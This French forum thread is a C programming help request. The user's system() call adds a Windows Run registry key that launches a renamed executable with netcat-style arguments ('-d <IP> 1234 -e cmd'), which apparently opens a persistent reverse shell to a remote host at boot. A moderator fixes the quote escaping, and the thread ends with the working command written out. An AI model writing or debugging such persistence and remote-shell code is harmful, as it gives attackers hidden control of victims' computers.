Conversion batch

Résolu
CatZard - Modifié par CatZard le 8/12/2013 à 12:31
 CatZard - 8 déc. 2013 à 16:18
Bonjour,
je cherche à simplifier un de mes programmes qui normalement se trouve d'un .exe (en c) et d'un .bat ducoup j'ai mis les commandes du batch dans des system()
le probleme c'est que tous marche sauf cette ligne
system("reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d ""C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd""");


alors que j'ai bien le bon header pour cette fonction <windows.h>
le code se compile correctement mais quand je lance le .exe j'ai "erreur syntaxe"

ps; je precise que je n'ai pas l'habitude d'utilliser les fonctions de windows.h et que apare dedouble les anti slash pour pas que soit caracterisser comme des caractere speciaux (dans le genre de \n dans printf) je ne sait pas quoi faire d'autre

merci de vos reponse

4 réponses

cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 123
8 déc. 2013 à 13:33
Bonjour.

Je connais mal le dév sous Windows, mais ne faudrait-il pas échaper aussi les guillemets internes à ta commande ?
0
comme sa?
system(" reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d ""C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd "" ");
le probleme reste le meme :/
merci quand meme
0
cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 123
8 déc. 2013 à 13:44
Il me semble qu'un guillemet s'échape aussi avec un \.
En tout cas, en C ou C++, on échape les " avec des \. Les guillemets en double se concaténant à la compilation.

Ex:
printf("toto" "titi"); équivaut à: printf("tototiti");
printf("""toto titi"""); équivaut à: printf("toto titi");
il faudrait donc faire: printf("\"toto titi\"");

PS: sa => ça
0
cela me donne donc:
system("\"reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d \"C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd\"");
et ça marche
merci
0
Rejoignez-nous